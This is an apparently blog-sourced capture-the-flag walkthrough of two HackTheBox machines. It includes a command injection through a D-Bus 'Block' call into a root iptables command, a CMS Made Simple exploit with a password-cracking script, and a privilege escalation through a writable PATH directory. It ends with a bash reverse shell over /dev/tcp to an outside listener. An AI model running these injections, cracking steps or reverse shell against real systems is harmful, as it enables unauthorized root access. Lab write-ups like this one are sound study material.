sys.path.insert(0,"/usr/lib/python3/dist-packages")
import dbus
bus = dbus.SystemBus()
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
response = block_iface.Block("AAAAAAA") 2020/08/09 01:24:39 CMD: UID=0 PID=20866 | iptables -A PREROUTING -s AAAAAAA -t mangle -j DROP
from here we can see we can inject into that iptables command which is run as root. let's wrap this up and get a shell. We can put our reverse shell command in /tmp/gg.sh call it whatever you want, doesn't matter. now in python run block_iface.Block("; bash /tmp/gg.sh #") and gg we have a shell.


And we are root.
]]>Writeup was an easy ranked difficulty machine created by jkr
to begin we will start out with an nmap scan
nmap -sC -sV 10.10.10.138
Nmap scan report for writeup.htb (10.10.10.138)
Host is up (0.15s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 dd:53:10:70:0b:d0:47:0a:e2:7e:4a:b6:42:98:23:c7 (RSA)
| 256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA)
|_ 256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/writeup/
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Nothing here yet.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.87 secondshmm not very revealing... lets take a look at the site

odd site, doesn't say too much but it has notable things
Eeyore DoS protection script
Page is hand-crafted with vi. not really just funny
lets poke around, the Dos script prevents us from gobusting it and could have affected our nmap scan.
Lets try /robots.txt like nmap showed

Alright so we can find his writeup blog.

An actual writeup blog, interesting. lets look more into it.
viewing the source reveals that the blog is CMS Made Simple lets look into that
but first see if any of his writeups have anything interesting

when you click one of his writeup links we find a ?page variable
http://10.10.10.138/writeup/index.php?page=ypuffy
this could be vulnerable but since this is a real CMS I doubt it
lets google this CMS and see if we can find anything interesting.
https://www.exploit-db.com/exploits/46635
lets see if it is vulnerable to this..
It is vulnerable! and now we have a username and password which is hashed
[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: [email protected]
[+] Password found: 62def4866937f08cc13bab43bb14e6f7Awesome, lets crack this
lets steal some code from the exploit above
import hashlib
def ck_password():
password = "62def4866937f08cc13bab43bb14e6f7"
output = ""
wordlist = "/usr/share/wordlists/rockyou.txt"
salt = "5a599ef579066807"
dict = open(wordlist)
for line in dict.readlines():
line = line.replace("\n", "")
if hashlib.md5(str(salt) + line).hexdigest() == password:
output += "\n[+] Password cracked: " + line
break
print(output)
ck_password()and lets run it with pypy, pypy is python jit so we can bruteforce it much faster
➜ writeup pypy crack.py
[+] Password cracked: raykayjay9
alright awesome lets ssh in and get user.txt
➜ www ssh [email protected]
[email protected]'s password:
Linux writeup 4.9.0-8-amd64 x86_64 GNU/Linux
The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 13 16:52:19 2019 from 10.10.12.63
jkr@writeup:~$
jkr@writeup:~$ cat user.txt
d4e493fdOMMITED6a55319f978lets poke around and see if we can't root lets use linenum and pspy
➜ www ls
linux-local-enum.sh pspy32s
➜ www python -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
now lets wget them on the box

linux local enum doesn't show anything out of the ordinary...
we are on debian
Linux writeup 4.9.0-8-amd64 #1 SMP Debian 4.9.144-3.1 (2019-02-19) x86_64 GNU/Linuxsudo is not present.
lets run pspy
CMD: UID=0 PID=2697 | /usr/bin/python3 /usr/bin/fail2ban-server -s /var/run/fail2ban/fail2ban.sock -p /var/run/fail2ban/fail2ban.pid -b
2019/08/13 17:02:26 CMD: UID=0 PID=2699 | grep -q f2b-apache-404[ \t]
2019/08/13 17:02:26 CMD: UID=0 PID=2698 | /bin/sh -c iptables -w -n -L INPUT | grep -q 'f2b-apache-404[ \t]'
2019/08/13 17:02:26 CMD: UID=0 PID=2700 | /usr/bin/python3 /usr/bin/fail2ban-server -s /var/run/fail2ban/fail2ban.sock -p /var/run/fail2ban/fail2ban.pid -b
2019/08/13 17:02:26 CMD: UID=0 PID=2701 | iptables -w -D f2b-apache-404 -s 10.10.15.113 -j REJECT --reject-with icmp-port-unreachable
thats interesting, but poking around that python script does not look intentionally vulnerable and is read only, Lets keep looking.
2019/08/13 17:04:32 CMD: UID=0 PID=2748 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2019/08/13 17:04:32 CMD: UID=0 PID=2749 | run-parts --lsbsysinit /etc/update-motd.d
that is odd, the path specified /usr/local/sbin is writable and this is being run as root every time someone logs in.
lets try and abuse this.
jkr@writeup:/usr/local/sbin$ echo "test" > k
jkr@writeup:/usr/local/sbin$ cat k
test
jkr@writeup:/usr/local/sbin$ proves we can write there
Now all we have to do is make a executable script or actual executable and log in and run-parts will be executed
lets enumerate /root/
#!/bin/bash
ls -la -r /root/ > /tmp/k
now lets login as normal user and trigger it
jkr@writeup:/usr/local/sbin$ cat /tmp/k
total 28
-r-------- 1 root root 33 Apr 19 08:44 root.txt
drwx------ 2 root root 4096 May 1 09:53 bin
-rw-r--r-- 1 root root 148 Jun 3 2018 .profile
drwxr-xr-x 2 root root 4096 May 1 09:43 .nano
-rw-r--r-- 1 root root 570 Jun 3 2018 .bashrc
lrwxrwxrwx 1 root root 9 Apr 19 06:42 .bash_history -> /dev/null
drwxr-xr-x 22 root root 4096 Apr 19 07:31 ..
drwx------ 4 root root 4096 May 1 09:43 .
well there is no .ssh so we can't add our pubkey and ssh in.
lets make run-parts a bash reverse shell
#!/bin/bash
bash -i >& /dev/tcp/10.10.13.29/1337 0>&1
chmod +x it and ssh in as jkr
make sure you have your netcat listening
➜ ~ nc -lvnp 1337
Listening on [0.0.0.0] (family 2, port 1337)
Connection from 10.10.10.138 52806 received!
bash: cannot set terminal process group (3519): Inappropriate ioctl for device
bash: no job control in this shell
root@writeup:/# root@writeup:/root# cat root.txt
cat root.txt
eeba47f60OMMITTED734f9b6198d7226
Well thats the writeup for writeup. Thanks for reading
~0x5a
]]>